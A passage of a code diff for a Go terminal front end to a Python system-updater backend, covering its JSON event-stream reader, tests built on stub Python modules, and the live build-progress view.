+ //: minutes and a download for about a second; counted alike, the bar raced
+ //: to nearly full during the repository phase.
+ Weight int `json:"weight"`
+ Weights map[string]int `json:"weights"`
+ Held []string `json:"held"`
+ Skipped []string `json:"skipped"`
+
+ // error
+ Details []string `json:"details"`
+
+ // build
+ Packages []BuildState `json:"packages"`
+ LogLines []string `json:"log_lines"`
+ DownloadBytes int64 `json:"download_bytes"`
+ DownloadRate float64 `json:"download_rate"`
+ Done int `json:"done"`
+
+ // finished
+ Name string `json:"name"`
+ Elapsed float64 `json:"elapsed"`
+ State string `json:"state"`
+ Version string `json:"version"`
+ Shared bool `json:"shared"`
+
+ // phase_end / done
+ Returncode int `json:"returncode"`
+ Failed []string `json:"failed"`
+ Message string `json:"message"`
+
+ // recovery: a way to finish a run that could not proceed unattended.
+ // Its own key, not `command`: that one is already a string on the phase
+ // events, and two fields sharing a JSON tag silently breaks the decoder.
+ RecoveryLabel string `json:"label"`
+ RecoveryCommand []string `json:"argv"`
+ RecoveryNote string `json:"note"`
+ //: why a package failed. Its own key, because `note` already belongs to
+ //: the recovery event -- one tag, two meanings, and the decoder silently
+ //: filled the wrong field.
+ FailureReason string `json:"reason"`
+}
+
+// Stream is a running apply, read from a channel.
+type Stream struct {
+ Events <-chan Event
+ //: ProtocolErrors reports lines the reader could not parse. Surfaced rather
+ //: than swallowed: a protocol break that nobody notices is worse than a
+ //: crash, because everything downstream quietly renders stale state.
+ ProtocolErrors <-chan error
+ //: Wait blocks until the process exits and returns its status.
+ Wait func() error
+ //: Stderr captures the backend's human output, for error reporting.
+ Stderr func() string
+ //: Abort asks the backend to stop.
+ Abort func()
+ //: Skip asks it to abandon the package in progress and carry on. Only the
+ //: AUR phase has a package in progress to abandon: the others run as one
+ //: transaction, and nothing there can be skipped without unpicking it.
+ Skip func()
+}
+
+// StartApply launches `updater apply --json-stream` and streams its events.
+//
+// The backend writes JSON and nothing else on stdout; anything human goes to
+// stderr. A line that does not parse is surfaced rather than skipped, because
+// silently dropping it would hide a protocol break.
+func (b Backend) StartApply(ctx context.Context, skips, holds []string) (*Stream, error) {
+ args := []string{"apply", "--json-stream", "--yes"}
+ for _, s := range skips {
+ args = append(args, "--skip", s)
+ }
+ for _, h := range holds {
+ args = append(args, "--hold", h)
+ }
+ args = append(args, b.Args...)
+
+ full := append([]string{"-m", b.Module}, args...)
+ cmd := exec.CommandContext(ctx, b.Python, full...)
+ cmd.Env = append(os.Environ(), b.Env...)
+
+ stdout, err := cmd.StdoutPipe()
+ if err != nil {
+ return nil, err
+ }
+ var stderrBuf lockedBuffer
+ cmd.Stderr = &stderrBuf
+
+ if err := cmd.Start(); err != nil {
+ return nil, &Error{Args: append([]string{b.Python}, full...), Err: err}
+ }
+
+ events := make(chan Event, 64)
+ protocolErrors := make(chan error, 8)
+
+ go func() {
+ defer close(events)
+ defer close(protocolErrors)
+ scanner := bufio.NewScanner(stdout)
+ // a diff or a long command line can exceed the default 64 KiB
+ scanner.Buffer(make([]byte, 0, 64*1024), 4*1024*1024)
+ for scanner.Scan() {
+ line := scanner.Bytes()
+ if len(line) == 0 {
+ continue
+ }
+ var event Event
+ if err := json.Unmarshal(line, &event); err != nil {
+ select {
+ case protocolErrors <- fmt.Errorf(
+ "backend sent a line that is not JSON: %q", truncate(string(line), 200)):
+ default: // nobody reading; do not stall the stream over it
+ }
+ continue
+ }
+ events <- event
+ }
+ if err := scanner.Err(); err != nil && err != io.EOF {
+ select {
+ case protocolErrors <- err:
+ default:
+ }
+ }
+ }()
+
+ return &Stream{
+ Events: events,
+ ProtocolErrors: protocolErrors,
+ Wait: func() error { return cmd.Wait() },
+ Stderr: stderrBuf.String,
+ Abort: func() {
+ if cmd.Process != nil {
+ // SIGINT, not SIGKILL: pacman and makepkg unwind a half-finished
+ // transaction on it, which is the whole point
+ _ = cmd.Process.Signal(interruptSignal())
+ }
+ },
+ Skip: func() {
+ if cmd.Process != nil {
+ // the backend alone, not its group: the child is in its own
+ // group and must not see this
+ _ = cmd.Process.Signal(skipSignal())
+ }
+ },
+ }, nil
+}
+
+// lockedBuffer is a minimal concurrency-safe buffer for the child's stderr.
+type lockedBuffer struct {
+ mu sync.Mutex
+ buf []byte
+}
+
+func (b *lockedBuffer) Write(p []byte) (int, error) {
+ b.mu.Lock()
+ defer b.mu.Unlock()
+ b.buf = append(b.buf, p...)
+ if len(b.buf) > 64*1024 {
+ b.buf = b.buf[len(b.buf)-64*1024:]
+ }
+ return len(p), nil
+}
+
+func (b *lockedBuffer) String() string {
+ b.mu.Lock()
+ defer b.mu.Unlock()
+ return string(b.buf)
+}
+
+func truncate(s string, n int) string {
+ if len(s) <= n {
+ return s
+ }
+ return s[:n] + "…"
+}
diff --git a/tui/internal/plan/stream_test.go b/tui/internal/plan/stream_test.go
@@ -0,0 +1,412 @@
+package plan
+
+import (
+ "context"
+ "os"
+ "path/filepath"
+ "runtime"
+ "strings"
+ "testing"
+ "time"
+)
+
+// stubBackend writes a Python module that emits a canned event stream, so the
+// reader is tested against the real protocol without running an update.
+func stubBackend(t *testing.T, body string) Backend {
+ t.Helper()
+ dir := t.TempDir()
+ mod := filepath.Join(dir, "stubupdater")
+ if err := os.MkdirAll(mod, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ os.WriteFile(filepath.Join(mod, "__init__.py"), []byte(""), 0o644)
+ os.WriteFile(filepath.Join(mod, "__main__.py"), []byte(body), 0o644)
+ return Backend{Python: "python3", Module: "stubupdater",
+ Env: []string{"PYTHONPATH=" + dir}}
+}
+
+func drain(t *testing.T, s *Stream, timeout time.Duration) []Event {
+ t.Helper()
+ var events []Event
+ deadline := time.After(timeout)
+ for {
+ select {
+ case event, ok := <-s.Events:
+ if !ok {
+ return events
+ }
+ events = append(events, event)
+ case err, ok := <-s.ProtocolErrors:
+ if !ok {
+ // a closed channel is always ready and yields nil, so disabling
+ // this arm is the only way to stop selecting on it
+ s.ProtocolErrors = nil
+ continue
+ }
+ t.Errorf("protocol error: %v", err)
+ case <-deadline:
+ t.Fatal("timed out waiting for the stream to close")
+ }
+ }
+}
+
+func TestStartApplyReadsTheProtocol(t *testing.T) {
+ backend := stubBackend(t, `
+import json, sys
+def emit(**kw):
+ sys.stdout.write(json.dumps(kw) + "\n")
+ sys.stdout.flush()
+emit(event="start", phases=["repo","aur"], total=3)
+emit(event="phase_start", phase="aur", command="paru -S --needed", total=3)
+emit(event="build", packages=[{"name":"a","phase":"cargo","elapsed":1.5,"jobs":2}],
+ download_bytes=2048, download_rate=512.0, done=1)
+emit(event="finished", name="a", elapsed=2.0, state="done", version="1-1", shared=True)
+emit(event="phase_end", phase="aur", returncode=0, elapsed=3.0)
+emit(event="done", returncode=0, elapsed=3.0, failed=[])
+`)
+ stream, err := backend.StartApply(context.Background(), nil, nil)
+ if err != nil {
+ t.Fatalf("StartApply: %v", err)
+ }
+ events := drain(t, stream, 20*time.Second)
+ if len(events) != 6 {
+ t.Fatalf("got %d events, want 6: %+v", len(events), events)
+ }
+ if events[0].Event != "start" || len(events[0].Phases) != 2 {
+ t.Errorf("start event = %+v", events[0])
+ }
+ if events[1].Command != "paru -S --needed" {
+ t.Errorf("phase_start = %+v", events[1])
+ }
+ if len(events[2].Packages) != 1 || events[2].Packages[0].Name != "a" {
+ t.Errorf("build event = %+v", events[2])
+ }
+ if events[2].Packages[0].Elapsed != 1.5 || events[2].DownloadBytes != 2048 {
+ t.Errorf("build numbers lost: %+v", events[2])
+ }
+ if !events[3].Shared || events[3].Version != "1-1" {
+ t.Errorf("finished event = %+v", events[3])
+ }
+ if events[5].Returncode != 0 {
+ t.Errorf("done event = %+v", events[5])
+ }
+ if err := stream.Wait(); err != nil {
+ t.Errorf("Wait: %v", err)
+ }
+}
+
+func TestStrayOutputOnStdoutIsReportedNotIgnored(t *testing.T) {
+ // the backend promises JSON only; a break must be loud, not silently skipped
+ backend := stubBackend(t, `
+import json, sys
+sys.stdout.write("this is not json\n")
+sys.stdout.write(json.dumps({"event":"done","returncode":0}) + "\n")
+sys.stdout.flush()
+`)
+ stream, err := backend.StartApply(context.Background(), nil, nil)
+ if err != nil {
+ t.Fatalf("StartApply: %v", err)
+ }
+ var protocolErrs []error
+ var events []Event
+ deadline := time.After(20 * time.Second)
+ for {
+ select {
+ case event, ok := <-stream.Events:
+ if !ok {
+ goto finished
+ }
+ events = append(events, event)
+ case err, ok := <-stream.ProtocolErrors:
+ if !ok {
+ stream.ProtocolErrors = nil
+ continue
+ }
+ protocolErrs = append(protocolErrs, err)
+ case <-deadline:
+ t.Fatal("timed out")
+ }
+ }
+finished:
+ if len(protocolErrs) == 0 {
+ t.Error("a non-JSON line was silently accepted")
+ }
+ if len(events) != 1 || events[0].Event != "done" {
+ t.Errorf("valid events were lost: %+v", events)
+ }
+}
+
+func TestAFailingBackendReportsItsStatus(t *testing.T) {
+ backend := stubBackend(t, `
+import json, sys
+sys.stdout.write(json.dumps({"event":"done","returncode":4}) + "\n")
+sys.stdout.flush()
+sys.stderr.write("something went wrong\n")
+sys.exit(4)
+`)
+ stream, err := backend.StartApply(context.Background(), nil, nil)
+ if err != nil {
+ t.Fatalf("StartApply: %v", err)
+ }
+ drain(t, stream, 20*time.Second)
+ if err := stream.Wait(); err == nil {
+ t.Error("a non-zero exit should be reported")
+ }
+ if !strings.Contains(stream.Stderr(), "something went wrong") {
+ t.Errorf("stderr was not captured: %q", stream.Stderr())
+ }
+}
+
+func TestSkipAndHoldBecomeArguments(t *testing.T) {
+ dir := t.TempDir()
+ mod := filepath.Join(dir, "stubupdater")
+ os.MkdirAll(mod, 0o755)
+ os.WriteFile(filepath.Join(mod, "__init__.py"), []byte(""), 0o644)
+ os.WriteFile(filepath.Join(mod, "__main__.py"), []byte(`
+import json, sys
+sys.stdout.write(json.dumps({"event":"start","phases":[],"total":0}) + "\n")
+sys.stdout.flush()
+`), 0o644)
+ // echo argv into the event so the test can assert on it
+ os.WriteFile(filepath.Join(mod, "__main__.py"), []byte(`
+import json, sys
+sys.stdout.write(json.dumps({"event":"start","phases":[],"total":len(sys.argv),"command":" ".join(sys.argv[1:])}) + "\n")
+sys.stdout.flush()
+`), 0o644)
+
+ backend := Backend{Python: "python3", Module: "stubupdater",
+ Env: []string{"PYTHONPATH=" + dir}}
+ stream, err := backend.StartApply(context.Background(),
+ []string{"skipme"}, []string{"holdme"})
+ if err != nil {
+ t.Fatalf("StartApply: %v", err)
+ }
+ events := drain(t, stream, 20*time.Second)
+ if len(events) != 1 {
+ t.Fatalf("events = %+v", events)
+ }
+ argv := events[0].Command
+ for _, want := range []string{"apply", "--json-stream", "--skip skipme", "--hold holdme"} {
+ if !strings.Contains(argv, want) {
+ t.Errorf("argv is missing %q: %s", want, argv)
+ }
+ }
+}
+
+// --------------------------------------------------------------------------
+// version skew between the two halves
+// --------------------------------------------------------------------------
+
+// stubPlan serves a canned plan document, so the Go side can be tested against
+// payloads it was not built for.
+func stubPlan(t *testing.T, body string) Backend {
+ t.Helper()
+ dir := t.TempDir()
+ mod := filepath.Join(dir, "stubupdater")
+ if err := os.MkdirAll(mod, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ os.WriteFile(filepath.Join(mod, "__init__.py"), []byte(""), 0o644)
+ os.WriteFile(filepath.Join(mod, "__main__.py"), []byte(body), 0o644)
+ return Backend{Python: "python3", Module: "stubupdater",
+ Env: []string{"PYTHONPATH=" + dir}}
+}
+
+func TestAPlanMissingSectionsIsNotAnError(t *testing.T) {
+ // the two halves are meant to be updatable independently, so an older or
+ // newer backend must not break the front end
+ backend := stubPlan(t, `
+import json, sys
+sys.stdout.write(json.dumps({"repo": []}) + "\n")
+`)
+ p, err := backend.Load(context.Background())
+ if err != nil {
+ t.Fatalf("a plan with only one field was rejected: %v", err)
+ }
+ if len(p.Aur) != 0 || len(p.Vcs) != 0 || len(p.Advisories) != 0 {
+ t.Errorf("absent fields should be zero, got %+v", p)
+ }
+}
+
+func TestAnEmptyPlanIsNotAnError(t *testing.T) {
+ backend := stubPlan(t, `
+import json, sys
+sys.stdout.write("{}\n")
+`)
+ p, err := backend.Load(context.Background())
+ if err != nil {
+ t.Fatalf("an empty object was rejected: %v", err)
+ }
+ if p == nil {
+ t.Fatal("nil plan")
+ }
+}
+
+func TestUnknownFieldsAreIgnored(t *testing.T) {
+ // a newer backend adding fields must not break an older front end
+ backend := stubPlan(t, `
+import json, sys
+sys.stdout.write(json.dumps({"repo": [], "something_new": {"a": 1},
+ "aur": [{"name": "x", "old": "1", "new": "2",
+ "tag": "U", "future_field": True}]}) + "\n")
+`)
+ p, err := backend.Load(context.Background())
+ if err != nil {
+ t.Fatalf("an unknown field broke the load: %v", err)
+ }
+ if len(p.Aur) != 1 || p.Aur[0].Name != "x" {
+ t.Errorf("known fields were lost: %+v", p.Aur)
+ }
+}
+
+func TestMalformedJsonIsRejectedWithAClearError(t *testing.T) {
+ backend := stubPlan(t, `
+import sys
+sys.stdout.write("this is not json\n")
+`)
+ if _, err := backend.Load(context.Background()); err == nil {
+ t.Error("malformed JSON was accepted")
+ }
+}
+
+func TestStrayOutputBeforeTheJsonIsRejectedNotSilentlyUsed(t *testing.T) {
+ // the backend promises JSON on stdout; anything else is a protocol break
+ backend := stubPlan(t, `
+import json, sys
+sys.stdout.write("warning: something\n")
+sys.stdout.write(json.dumps({"repo": []}) + "\n")
+`)
+ if _, err := backend.Load(context.Background()); err == nil {
+ t.Error("output preceding the JSON was silently tolerated")
+ }
+}
+
+func TestANonZeroExitSurfacesTheBackendsOwnMessage(t *testing.T) {
+ backend := stubPlan(t, `
+import sys
+sys.stderr.write("could not read the package database\n")
+sys.exit(3)
+`)
+ _, err := backend.Load(context.Background())
+ if err == nil {
+ t.Fatal("a failing backend reported success")
+ }
+ if !strings.Contains(err.Error(), "package database") {
+ t.Errorf("the backend's message was lost: %v", err)
+ }
+}
+
+func TestATypeMismatchIsRejectedRatherThanGuessed(t *testing.T) {
+ // if the backend changes a field's type, failing loudly beats rendering
+ // whatever the zero value happens to be
+ backend := stubPlan(t, `
+import json, sys
+sys.stdout.write(json.dumps({"repo": [{"name": "x", "delta": "not a number"}]}) + "\n")
+`)
+ if _, err := backend.Load(context.Background()); err == nil {
+ t.Error("a type mismatch was silently accepted")
+ }
+}
+
+// --------------------------------------------------------------------------
+// the reader must not leak or wedge
+// --------------------------------------------------------------------------
+
+func TestStartingAStreamLeavesNoGoroutinesBehind(t *testing.T) {
+ before := runtime.NumGoroutine()
+ for i := 0; i < 8; i++ {
+ backend := stubBackend(t, `
+import json, sys
+for i in range(20):
+ sys.stdout.write(json.dumps({"event":"build","done":i}) + "\n")
+sys.stdout.write(json.dumps({"event":"done","returncode":0}) + "\n")
+sys.stdout.flush()
+`)
+ s, err := backend.StartApply(context.Background(), nil, nil)
+ if err != nil {
+ t.Fatalf("StartApply: %v", err)
+ }
+ drain(t, s, 20*time.Second)
+ if err := s.Wait(); err != nil {
+ t.Fatalf("Wait: %v", err)
+ }
+ }
+ // give the runtime a moment to reap
+ deadline := time.Now().Add(5 * time.Second)
+ for runtime.NumGoroutine() > before+2 && time.Now().Before(deadline) {
+ time.Sleep(20 * time.Millisecond)
+ }
+ if after := runtime.NumGoroutine(); after > before+2 {
+ t.Errorf("goroutines grew from %d to %d across 8 streams", before, after)
+ }
+}
+
+func TestTheReaderDoesNotWedgeWhenTheConsumerStopsEarly(t *testing.T) {
+ // a consumer that stops reading must not deadlock the child on a full pipe,
+ // and must not hang the test forever either
+ backend := stubBackend(t, `
+import json, sys
+for i in range(5000):
+ sys.stdout.write(json.dumps({"event":"build","done":i}) + "\n")
+sys.stdout.flush()
+`)
+ s, err := backend.StartApply(context.Background(), nil, nil)
+ if err != nil {
+ t.Fatalf("StartApply: %v", err)
+ }
+ // read one event then abandon the stream
+ select {
+ case <-s.Events:
+ case <-time.After(20 * time.Second):
+ t.Fatal("no first event")
+ }
+ done := make(chan struct{})
+ go func() {
+ // drain in the background so the child can finish; this proves the
+ // reader keeps working independently of the caller's attention
+ for range s.Events {
+ }
+ close(done)
+ }()
+ select {
+ case <-done:
+ case <-time.After(30 * time.Second):
+ t.Fatal("the reader wedged when the consumer paused")
+ }
+ _ = s.Wait()
+}
+
+func TestProtocolErrorsAreDrainedSoTheReaderCannotBlock(t *testing.T) {
+ // the error channel is buffered; a flood of bad lines must not stall the
+ // reader forever with nobody listening
+ backend := stubBackend(t, `
+import sys
+for i in range(500):
+ sys.stdout.write("not json\n")
+sys.stdout.write('{"event":"done","returncode":0}\n')
+sys.stdout.flush()
+`)
+ s, err := backend.StartApply(context.Background(), nil, nil)
+ if err != nil {
+ t.Fatalf("StartApply: %v", err)
+ }
+ // deliberately read only the events channel
+ var events int
+ timeout := time.After(30 * time.Second)
+ for {
+ select {
+ case _, ok := <-s.Events:
+ if !ok {
+ goto finished
+ }
+ events++
+ case <-timeout:
+ t.Fatal("the reader blocked on a full error channel")
+ }
+ }
+finished:
+ if events == 0 {
+ t.Error("the valid event was lost among the bad lines")
+ }
+ _ = s.Wait()
+}
diff --git a/tui/internal/ui/build.go b/tui/internal/ui/build.go
@@ -0,0 +1,1118 @@
+package ui
+
+import (
+ "fmt"
+
+ "github.com/charmbracelet/lipgloss"
+ "math"
+ "sort"
+ "strings"
+ "time"
+
+ "github.com/charmbracelet/x/ansi"
+
+ "updater-tui/internal/plan"
+)
+
+// feedEntry is one package that has finished, as it appears in the live feed.
+// overlayKind says what the full-screen overlay is showing. One field, one
+// meaning: a bool could only say "the log or not", which stopped being true
+// once the finished list wanted the same scrolling and search.
+type overlayKind int
+
+const (
+ overlayNone overlayKind = iota
+ overlayLog
+ overlayFinished
+ overlayMessage
+)
+
+type feedEntry struct {
+ name string
+ version string
+ elapsed float64
+ state string
+ shared bool
+ //: why it failed, when it did
+ note string
+ //: what this package is worth on the progress line; 1 unless it builds
+ weight int
+}
+
+// BuildView is the live state of one apply run.
+//
+// It is fed by the backend's event stream and owns no logic of its own: every
+// number here came from a measurement on the other side of the pipe.
+type BuildView struct {
+ Phases []string
+ Phase string
+ Command string
+ Total int
+ Done int
+ Running []plan.BuildState
+ Feed []feedEntry
+ Downloads int64
+ Rate float64
+
+ Started time.Time
+ Elapsed float64
+ Finished bool
+ Return int
+ Failed []string
+ Message string
+ //: things worth saying, each with the detail behind it. Kept as a list of
+ //: their own rather than bare strings so one can be opened, and dismissed
+ //: for the session once it has been read.
+ Messages []BuildMessage
+ //: cursor over Messages, so a warning can be reached and dealt with
+ Cursor int
+ //: everything the running command has printed, in order
+ Log []string
+ LogOpen bool
+ //: the path of the log being followed, so the whole of it can be opened
+ LogPath string
+ //: a modal opened over the dashboard: either the build's output in full or
+ //: one warning. The same modal the drill-down uses, so scrolling and search
+ //: behave the way they already do elsewhere.
+ Output *textModal
+ //: whether Output is the live log. Only the log is refreshed as the build
+ //: runs; refreshing a warning replaced its text with the build's output.
+ OutputKind overlayKind
+ //: the run's total in work, and what each building package is worth
+ Weight int
+ Weights map[string]int
+ //: advances on every tick, so the display can move
+ Frame int
+ //: a command that can finish what the unattended run could not, because
+ //: the question it hit needs a person rather than a default
+ Recovery *Recovery
+ Dashboard bool
+}
+
+// BuildMessage is something the run wants to say.
+type BuildMessage struct {
+ Text string
+ Details []string
+}
+
+// NewBuildView starts a live view for the phases the backend announced.
+func NewBuildView(phases []string, total int) *BuildView {
+ return &BuildView{
+ Phases: phases, Total: total, Started: time.Now(), Dashboard: true,
+ }
+}
+
+// Apply folds one protocol event into the view.
+func (b *BuildView) Apply(event plan.Event) {
+ switch event.Event {
+ case "start":
+ b.Phases = event.Phases
+ b.Weights = event.Weights
+ if event.Total > 0 {
+ b.Total = event.Total
+ }
+ if event.Weight > 0 {
+ b.Weight = event.Weight
+ }
+ case "phase_start":
+ b.Phase = event.Phase
+ b.Command = event.Command
+ if event.Log != "" {
+ b.LogPath = event.Log
+ }
+ // The phase's own count is deliberately not taken as the total.
+ // `start` gives the run's total, and the finished list accumulates
+ // across phases -- so a phase total smaller than what has already
+ // finished made the bar read full while a whole phase was still to
+ // come, and left nothing in "waiting".
+ if b.Total == 0 && event.Total > 0 {
+ b.Total = event.Total
+ }
+ case "build":
+ b.Running = event.Packages
+ b.Done = event.Done
+ b.Downloads = event.DownloadBytes
+ b.Rate = event.DownloadRate
+ b.absorbLog(event.LogLines)
+ b.Frame++
+ case "finished":
+ // the feed is append-only and ordered: newest lands at the bottom, which
+ // is what makes it readable as a record rather than a status
+ b.Feed = append(b.Feed, feedEntry{
+ name: event.Name, version: event.Version, elapsed: event.Elapsed,
+ state: event.State, shared: event.Shared,
+ weight: b.weightOf(event.Name),
+ })
+ case "failed":
+ b.markFailed(event.Name, event.Elapsed, event.FailureReason)
+ case "skipped":
+ b.markSkipped(event.Name)
+ case "phase_end":
+ b.Elapsed = event.Elapsed
+ case "error":
+ b.AddMessage(event.Message, event.Details...)
+ case "recovery":
+ b.Recovery = &Recovery{
+ Label: event.RecoveryLabel, Command: event.RecoveryCommand,
+ Note: event.RecoveryNote,
+ }
+ case "done":
+ b.Finished = true
+ b.Return = event.Returncode
+ b.Failed = event.Failed
+ if event.Elapsed > 0 {
+ b.Elapsed = event.Elapsed
+ }
+ }
+
+ // One place refreshes an open overlay. It used to hang off the build
+ // event alone, so a list showing finished packages was a tick behind
+ // whatever had just finished.
+ b.refreshOutput()
+}
+
+// markFailed flips a package the watcher had already filed as finished.
+//
+// The interface watches processes, so it sees a makepkg exit and has no way to
+// read the exit code -- paru's own result is the only thing that knows. This
+// updates the entry that already exists rather than appending a second one,
+// which would make done+failed exceed the total and leave the counter lying.
+func (b *BuildView) markFailed(name string, elapsed float64, note string) {
+ if name == "" {
+ return
+ }
+ for i := range b.Running {
+ if b.Running[i].Name == name {
+ b.Running = append(b.Running[:i], b.Running[i+1:]...)
+ break
+ }
+ }
+ for i := range b.Feed {
+ if b.Feed[i].name == name {
+ b.Feed[i].state = "fail"
+ b.Feed[i].note = note
+ if elapsed > 0 {
+ b.Feed[i].elapsed = elapsed
+ }
+ return
+ }
+ }
+ b.Feed = append(b.Feed, feedEntry{name: name, state: "fail",
+ elapsed: elapsed, note: note, weight: b.weightOf(name)})
+}
+
+// weightOf is what a package is worth on the progress line.
+//
+// One unless the backend said otherwise, which it does for the packages that
+// actually build. Counting a minute-long compile and a one-second download
+// alike is what made the bar empty itself during the repository phase.
+func (b *BuildView) weightOf(name string) int {
+ if w, ok := b.Weights[name]; ok && w > 0 {
+ return w
+ }
+ return 1
+}
+
+// resolvedWeight is how much of the run's work is settled, one way or another.
+//
+// A failure counts: the package is not going to be built, so the run has moved
+// past it. Whether it went well is the colour's job, not the bar's -- an empty
+// bar on a run where everything failed would say the run had not started.
+func (b *BuildView) resolvedWeight() int {
+ n := 0
+ for _, entry := range b.Feed {
+ n += entry.weight
+ }
+ return n
+}
+
+// markSkipped records that the reader asked for this one to be left.
+//
+// Not a failure: nothing went wrong, and it is not something to offer back.
+// The entry stays in the list so the run still accounts for it, with a mark of
+// its own.
+func (b *BuildView) markSkipped(name string) {
+ if name == "" {
+ return
+ }
+ for i := range b.Running {
+ if b.Running[i].Name == name {
+ b.Running = append(b.Running[:i], b.Running[i+1:]...)
+ break
+ }
+ }
+ for i := range b.Feed {
+ if b.Feed[i].name == name {
+ b.Feed[i].state = "skip"
+ return
+ }
+ }
+ b.Feed = append(b.Feed, feedEntry{name: name, state: "skip",
+ weight: b.weightOf(name)})
+}
+
+// CanSkip is whether there is a package in progress to leave behind. Only the
+// AUR phase has one: the repository and flatpak phases are single transactions,
+// and a package cannot be lifted out of one without unpicking what the
+// database has already been told.
+func (b *BuildView) CanSkip() bool {
+ return b.Phase == "aur" && len(b.Running) > 0
+}
+
+// Recovery is a way out of a run that stopped on a question only a person can
+// answer -- a package conflict pacman must be asked about, or a build that
+// wants input. It runs in the real terminal, where prompts work.
+type Recovery struct {
+ Label string
+ Command []string
+ Note string
+}
+
+// maxLog is how much of a build's output is kept. Past this the beginning is
+// dropped: a build that prints more than this is not one anybody reads back
+// line by line, and the full log is on disk.
+const maxLog = 4000
+
+// absorbLog appends the lines the command has printed since the last tick.
+//
+// The interface keeps the whole stream rather than a window of it, so the
+// output can be opened and read back, not just glanced at.
+func (b *BuildView) absorbLog(lines []string) {
+ for _, line := range lines {
+ // collapse the repeated blank-ish chatter a build emits
+ if line == "" && len(b.Log) > 0 && b.Log[len(b.Log)-1] == "" {
+ continue
+ }
+ b.Log = append(b.Log, line)
+ }
+ if len(b.Log) > maxLog {
+ b.Log = b.Log[len(b.Log)-maxLog:]
+ }
+}
+
+// OpenOutput fills the screen with the build's output.
+func (b *BuildView) OpenOutput() {
+ if b.Output != nil {
+ b.Output, b.OutputKind = nil, overlayNone
+ return
+ }
+ if len(b.Log) == 0 {
+ return
+ }
+ title := "output"
+ if b.Command != "" {
+ title = b.Command
+ }
+ modal := newText(title)
+ modal.logMode = true
+ // the log is the one view opened to see the end of it
+ modal.follow = true
+ modal.Update(textBodyMsg{title: title, lines: b.Log, foot: b.LogPath})
+ b.Output = modal
+ b.OutputKind = overlayLog
+}
+
+// OpenFinished fills the screen with everything that has finished.
+//
+// The dashboard can only ever show the tail of the list, and "… N earlier" is
+// not a thing a reader can look at. The same overlay the log uses gives the
+// whole run with scrolling and search, and follows the end while it grows.
+func (b *BuildView) OpenFinished() {
+ if b.Output != nil {
+ b.Output, b.OutputKind = nil, overlayNone
+ return
+ }
+ if len(b.Feed) == 0 {
+ return
+ }
+ done, failed := b.counts()
+ title := fmt.Sprintf("finished · %d done", done)
+ if failed > 0 {
+ title += fmt.Sprintf(", %d failed", failed)
+ }
+ modal := newText(title)
+ modal.follow = true
+ modal.Update(textBodyMsg{title: title, lines: b.finishedLines(),
+ foot: b.phaseLine()})
+ b.Output = modal
+ b.OutputKind = overlayFinished
+}
+
+// finishedLines is the whole feed, oldest first, in the same shape the
+// dashboard uses -- minus the terminal padding, which the overlay supplies.
+func (b *BuildView) finishedLines() []string {
+ out := make([]string, 0, len(b.Feed))
+ for _, entry := range b.Feed {
+ // Laid out left to right, not spread to a fixed column: the overlay
+ // decides its own width, and a right-aligned trailing field landed
+ // past that width and was truncated to an ellipsis.
+ mark, style := "+", Incoming
+ switch entry.state {
+ case "fail":
+ mark, style = "x", Outgoing
+ case "skip":
+ mark, style = "-", Warn
+ }
+ line := " " + style.Render(mark) + " " + Text.Render(entry.name)
+ if entry.version != "" {
+ line += " " + Ver.Render(entry.version)
+ }
+ if entry.elapsed > 0 {
+ line += " " + Muted.Render(seconds(entry.elapsed))
+ }
+ if entry.shared {
+ line += " " + Muted.Render("↻ shared")
+ }
+ if entry.state == "skip" {
+ line += " " + Muted.Render("skipped at your request")
+ }
+ if entry.state == "fail" && entry.note != "" {
+ line += " " + Muted.Render(entry.note)
+ }
+ out = append(out, line)
+ }
+ if len(out) == 0 {
+ out = append(out, Muted.Render("nothing finished yet"))
+ }
+ return out
+}
+
+// OpenMessage shows the selected warning in full.
+//
+// The dashboard has one line per warning so the list stays readable, which
+// means anything longer is cut off with an ellipsis. This is where the rest
+// of it lives.
+func (b *BuildView) OpenMessage() *textModal {
+ if b.Cursor < 0 || b.Cursor >= len(b.Messages) {
+ return nil
+ }
+ message := b.Messages[b.Cursor]
+ lines := wrapText(message.Text, 76)
+ if len(message.Details) > 0 {
+ lines = append(lines, "")
+ lines = append(lines, message.Details...)
+ }
+ title := shortTitle(message.Text)
+ modal := newText(title)
+ modal.Update(textBodyMsg{title: title, lines: lines})
+ return modal
+}
+
+// wrapText folds prose to a width so a long sentence can actually be read.
+// The line renderers truncate rather than wrap, which is right for a log and
+// wrong for a paragraph.
+func wrapText(text string, width int) []string {
+ words := strings.Fields(text)
+ if len(words) == 0 {
+ return nil
+ }
+ var out []string
+ line := words[0]
+ for _, word := range words[1:] {
+ if len(line)+1+len(word) > width {
+ out = append(out, line)
+ line = word
+ continue
+ }
+ line += " " + word
+ }
+ return append(out, line)
+}
+
+// shortTitle is the headline of a message, for the modal's title bar.
+//
+// A message is a sentence with its explanation attached after a dash or a
+// colon. Using all of it as the title repeats the first line of the body,
+// which is what the body is for.
+func shortTitle(text string) string {
+ text = firstLine(text)
+ // Stop at the first separator that fits: "pkg: failed (exit 1) — error: …"
+ // is about the package failing, so "pkg: failed (exit 1)" is the headline.
+ // Applying every separator in turn reduced it to the package name alone.
+ for _, sep := range []string{" — ", ": "} {
+ if i := strings.LastIndex(text, sep); i > 12 {
+ text = text[:i]
+ break
+ }
+ }
+ if len(text) > 60 {
+ text = text[:59] + "…"
+ }
+ return text
+}
+
+func firstLine(text string) string {
+ if i := strings.IndexByte(text, '\n'); i >= 0 {
+ return text[:i]
+ }
+ return text
+}
+
+// refreshOutput keeps an open view of the output current as more arrives.
+//
+// Only the log view: a warning is a fixed piece of text, and refreshing it
+// replaced what the reader had opened with the build's output instead.
+func (b *BuildView) refreshOutput() {
+ if b.Output == nil {
+ return
+ }
+ if b.OutputKind != overlayLog && b.OutputKind != overlayFinished {
+ return
+ }
+ // hold the reader's place: new lines land at the bottom, and the scroll
+ // position is measured from the top
+ lines, foot := b.Log, b.LogPath
+ if b.OutputKind == overlayFinished {
+ lines, foot = b.finishedLines(), b.phaseLine()
+ }
+ b.Output.Update(textBodyMsg{title: b.Output.title, lines: lines, foot: foot})
+}
+
+// tailLog is the last few lines, for the inline panel.
+func (b *BuildView) tailLog() []string {
+ if len(b.Log) <= 8 {
+ return b.Log
+ }
+ return b.Log[len(b.Log)-8:]
+}
+
+// AddProtocolError records a line the reader could not parse.
+func (b *BuildView) AddProtocolError(err error) {
+ b.AddMessage(err.Error())
+}
+
+// AddMessage records something worth saying, once.
+//
+// The same line arrives more than once in practice -- a signal reaches the
